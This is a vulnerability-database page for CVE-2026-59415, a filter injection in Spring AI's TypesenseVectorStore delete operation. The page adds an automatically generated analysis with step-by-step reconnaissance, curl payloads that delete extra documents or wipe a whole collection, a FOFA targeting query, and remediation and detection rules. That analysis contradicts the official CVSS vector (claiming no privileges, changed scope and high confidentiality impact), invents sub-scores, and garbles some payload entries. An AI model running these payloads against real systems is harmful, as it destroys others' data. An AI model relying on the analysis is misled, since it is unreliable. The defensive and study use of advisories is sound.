CVE Professor
/
All CVEs
CVE-2026-59415

CVE-2026-59415 — Spring AI (2.0.3) — CWE-74

HIGH CVSS 10 CVE.org

TypesenseVectorStore is vulnerable to a document ID injection in its delete operation that can cause unintended documents to be deleted. TypesenseVectorStore.doDelete(List<String>) builds a Typesense filter_by expression by raw string concatenation of caller-supplied document IDs into the form id: [id1,id2,...] . The Typesense id field uses bare (unquoted) values in this list form with no escaping mechanism. An ID containing characters with syntactic meaning in the Typesense filter grammar — such as a comma ( , ), a closing bracket ( ] ), or operator tokens ( || , && ) — can break out of the list literal and alter the structure of the filter expression. An attacker who controls a document ID passed to the delete operation can use this to delete documents other than the intended ones (comma injection), or to construct a filter that matches every document in the collection (operator breakout), resulting in unintended bulk deletion. Applications that pass externally supplied or user-controlled document IDs to VectorStore.delete(List<String>) backed by TypesenseVectorStore are affected.

TypesenseVectorStore is vulnerable to a document ID injection in its delete operation that can cause unintended documents to be deleted. TypesenseVectorStore.doDelete(List<String>) builds a Typesense filter_by expression by raw string concatenation of caller-supplied document IDs into the form id: [id1,id2,...] . The Typesense id field uses bare (unquoted) values in this list form with no escaping mechanism. An ID containing characters with syntactic meaning in the Typesense filter grammar — such as a comma ( , ), a closing bracket ( ] ), or operator tokens ( || , && ) — can break out of the list literal and alter the structure of the filter expression. An attacker who controls a document ID passed to the delete operation can use this to delete documents other than the intended ones (comma injection), or to construct a filter that matches every document in the collection (operator breakout), resulting in unintended bulk deletion. Applications that pass externally supplied or user-controlled document IDs to VectorStore.delete(List<String>) backed by TypesenseVectorStore are affected.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality None C:N
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability name: Document‑ID injection in TypesenseVectorStore delete()
CVE‑ID: CVE‑2026‑59415
CVSS v3.1: 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

Technical flaw

TypesenseVectorStore.doDelete(List<String> ids) builds a Typesense filter_by expression by concatenating the caller‑supplied IDs directly into a string that is later sent to the Typesense HTTP API:

// Pseudo‑code extracted from the library
String filter = "id: [" + String.join(",", ids) + "]";
httpClient.post("/collections/" + collectionName + "/documents/delete", 
                Map.of("filter_by", filter));

The Typesense query language expects a list literal of bare* identifiers, e.g. id: [abc,def].

  • The library does not escape or quote the individual IDs.

  • Consequently, any ID that contains a character that has syntactic meaning in the filter grammar (,, ], ||, &&, : …) can break out of the list literal and alter the overall filter expression.
  • Resulting effects:

    Input patternHow it breaks the filter
    evil,fooTurns the list into two separate entries → deletes evil and foo.
    x]*Closes the list early (]) and injects a logical OR that matches *all* documents (*).
    id1&&id2Injects an AND operator that can be combined with other conditions supplied by the attacker.

    Because the delete endpoint is unauthenticated in the sense that the library does not enforce any additional authorisation checks beyond the caller’s own permissions, an attacker who can supply a document ID to VectorStore.delete() can cause arbitrary document deletions, including mass deletion of the entire collection.

    Relevant CWE(s):

  • CWE‑20 – Improper Input Validation – the library accepts raw IDs without validation.
  • CWE‑74 – Injection (Improper Neutralization of Special Elements) – the unescaped IDs are interpreted as part of the query language.
  • The CVSS vector reflects the fact that the vulnerability is network‑reachable, low‑complexity, requires no authentication, and impacts all three CIA triad components (confidentiality, integrity, availability) with a scope change (the deletion affects the whole collection, not just the supplied IDs).


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation scenario. All commands are illustrative; the exact HTTP path (/collections/<name>/documents/delete) and parameter name (filter_by) are taken from the public Typesense API documentation, which matches the behaviour described in the CVE. If a different route is used by a particular integration, the same principle applies.

    1. Discovery & Reconnaissance

    StepActivityTools / Evidence
    1.1Identify that the target application uses TypesenseVectorStore (e.g., by inspecting JavaScript bundles, package.json, or server‑side logs).npm ls typesense / grep -R "TypesenseVectorStore"
    1.2Determine the collection name and whether the application exposes a *delete* API that forwards the supplied IDs to VectorStore.delete().Intercept traffic with Burp Suite or OWASP ZAP; look for POST requests containing a JSON body like { "ids": ["..."] }.
    1.3Verify that the delete endpoint does not require authentication (or that the attacker can obtain a valid API key).Send a test request with an empty or dummy API key; observe HTTP 200/202 response.
    1.4Confirm that the backend uses the unescaped concatenation pattern (e.g., by sending a benign ID containing a comma and observing the generated filter in the server logs, or by reading the open‑source library source).curl -X POST https://example.com/api/delete -H "Content-Type: application/json" -d '{"ids":["a,b"]}' and watch server logs for filter_by=id: [a,b].

    2. Exploitation

    Goal A – Delete a specific additional document (comma injection)

    # Payload: inject a second ID after a comma
    curl -s -X POST https://victim.example.com/api/delete \
         -H "Content-Type: application/json" \
         -d '{"ids":["target-id,steal-id"]}'

    Result: The library builds filter_by=id: [target-id,steal-id], causing both target-id and steal-id to be removed.

    Goal B – Delete all documents (operator breakout)

    # Payload: close the list and inject a logical OR that matches everything
    curl -s -X POST https://victim.example.com/api/delete \
         -H "Content-Type: application/json" \
         -d '{"ids":["any-id]||*"]}'

    Explanation of the injected filter

    id: [any-id]||*   →  list ends after "any-id", then "||*" is parsed as
                        (id = any-id) OR (match all documents)

    Because the Typesense API treats * as a wildcard that matches every document, the final filter evaluates to true for every record, resulting in a full collection wipe.

    Goal C – Blind exploitation (no direct feedback)

    If the API returns only a generic success code, the attacker can probe for success by checking the document count before and after the request (if an endpoint such as /collections/<name>/stats is exposed) or by observing side‑effects in the application UI.

    3. Post‑exploitation

  • Availability impact: The collection is emptied, causing service disruption for any feature that relies on the vector store (search, recommendation, semantic lookup).
  • Integrity impact: Loss of data integrity; any downstream processes that assume the presence of certain vectors will fail or produce incorrect results.
  • Confidentiality impact: If the deleted documents contained sensitive embeddings, the attacker may infer their existence (or absence) from the application’s error messages or UI changes, constituting a partial confidentiality breach.
  • In a multi‑tenant SaaS deployment, an attacker controlling a single tenant’s ID list could wipe the entire shared collection, affecting all other tenants (hence the Scope: Changed in the CVSS vector).


    🌍 Real‑World Impact

    CIACVSS Sub‑ScorePractical consequence
    Confidentiality (C:H)10.0Deleting documents may expose the fact that certain data existed (e.g., by observing “no results” after deletion) and can be combined with other leaks to reconstruct data lineage.
    Integrity (I:H)10.0The vector store’s index is corrupted; downstream ML pipelines produce wrong outputs, potentially leading to business‑logic errors (e.g., recommending inappropriate content).
    Availability (A:H)10.0Complete loss of the collection renders the service unusable until a backup is restored. Recovery may require costly re‑indexing of the original source data.

    Business impact examples

  • E‑commerce: Product‑search embeddings are wiped → customers cannot find items → revenue loss.
  • Healthcare: Clinical‑note embeddings disappear → clinicians lose decision‑support tools → patient‑care impact.
  • SaaS multi‑tenant platform: One malicious tenant can delete data for all other tenants → massive SLA violations and legal exposure.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    UpgradeApply the vendor‑released fix that sanitises each ID (e.g., quoting or escaping special characters) before constructing the filter_by string. The exact version number is not disclosed in the public CVE; monitor the official TypesenseVectorStore repository or vendor advisory for a version marked *≥ X.Y.Z* that includes the fix.
    Back‑portIf you cannot upgrade immediately, patch the library locally: replace the concatenation with a safe builder that validates each ID against a whitelist (e.g., ^[A-Za-z0-9_-]+$).

    2. Immediate Workarounds

    TechniqueImplementation
    Input validationReject any ID that contains characters , ]&& : * or any whitespace. Example (Java):<br><br>if (!id.matches("^[A-Za-z0-9_-]+$")) throw new IllegalArgumentException("Invalid ID");
    Escaping / quotingEncode each ID as a quoted string before joining: filter = "id: [" + ids.stream().map(i -> "\\""+i+"\\"").collect(Collectors.joining(",")) + "]"; (Typesense accepts quoted literals).
    Least‑privilege API keysGenerate a Typesense API key that only has delete permission on a *single* collection and rotate it frequently.
    WAF rule (ModSecurity example)Detect a filter_by parameter that contains a closing bracket ] followed by logical operators ( or &&).<br><br>``SecRule ARGS:filter_by "@rx \] *(\\&&)" "id:100001,phase:2,deny,log,msg:'Potential Typesense filter injection'"`
    Rate‑limit delete callsLimit the number of delete requests per minute per API key to mitigate bulk‑wipe attempts.
    Audit loggingLog every call to the delete endpoint with the raw filter_by` value and the authenticated user/API key.

    3. Detection – Indicators of Compromise

    Log sourceTypical pattern
    Web server access logPOST /api/delete 200 with a JSON body containing "]*" or a comma‑separated list longer than expected.
    Typesense server logfilter_by=id: [.*\].*] – a filter that contains a closing bracket followed by or &&.
    Application audit log“Deleted N documents from collection <name>” where *N* is unusually high (e.g., > 1000) or equals the total document count.
    Metrics / monitoringSudden drop in document_count metric for a collection (e.g., Grafana alert on > 90 % decrease within 5 minutes).

    Set up SIEM correlation rules that trigger on the combination of a delete API call and a rapid decrease in document count.


    ⚠️ Urgency

  • CVSS 10.0 – maximum severity, network‑reachable, no authentication required.
  • Scope: Changed – the impact spreads beyond the directly supplied IDs (entire collection).
  • No CISA KEV listing yet, but the exploit is trivial (low skill, low effort).
Patch priority: Critical – Deploy the fix or apply the validation workaround within 24 hours for any production deployment that accepts externally supplied IDs.

If the vulnerable component is exposed to the internet (e.g., a public API), treat it as an emergency and temporarily block the delete endpoint until a proper fix is in place.


Bottom line: The flaw is a classic injection caused by raw string concatenation of user‑controlled identifiers into a Typesense filter expression. Because the delete operation is highly privileged and the injection can turn a targeted delete into a full‑collection wipe, the vulnerability warrants immediate remediation, strict input validation, and robust monitoring.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

body="Whitelabel Error Page"
PoC & Exploit Intelligence (GitHub)
daehyuh/CVE-2026-59415 ★ 2 Java 2026-11-24
GitHub PoC / Exploit repository for CVE-2026-59415
CVSS Score
10 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-74
Affected Products (1)
Spring:Spring AI (2.0.3)
References & Advisories (1)
Related CVEs
6.9
CVE-2026-144417
### Summary The dataset-preview endpoint `POST /jmreport/qurestSql` substitutes request parameters into the d
8.2
CVE-2026-144963
Docutils before 0.23.1 contains a TeX injection vulnerability in the LaTeX writer that allows attackers supply
7.9
CVE-2026-119614
A flaw was found in CRIU. This vulnerability allows an attacker to break container isolation by supplying a ma
7.3
CVE-2026-144776
A security flaw has been discovered in toss es-toolkit up to 1.53.0. Affected by this vulnerability is the fun
7.3
CVE-2026-144886
A security flaw has been discovered in Kinkando Dormitory-Management-System fec1a4d56880483124294772e42369cb31
6.3
CVE-2026-144777
A weakness has been identified in itsourcecode Stock Management System 1.0. Affected by this issue is some unk
6.3
CVE-2026-144887
A weakness has been identified in JeecgBoot up to 3.9.5. This impacts the function queryTableDataForLinkRecord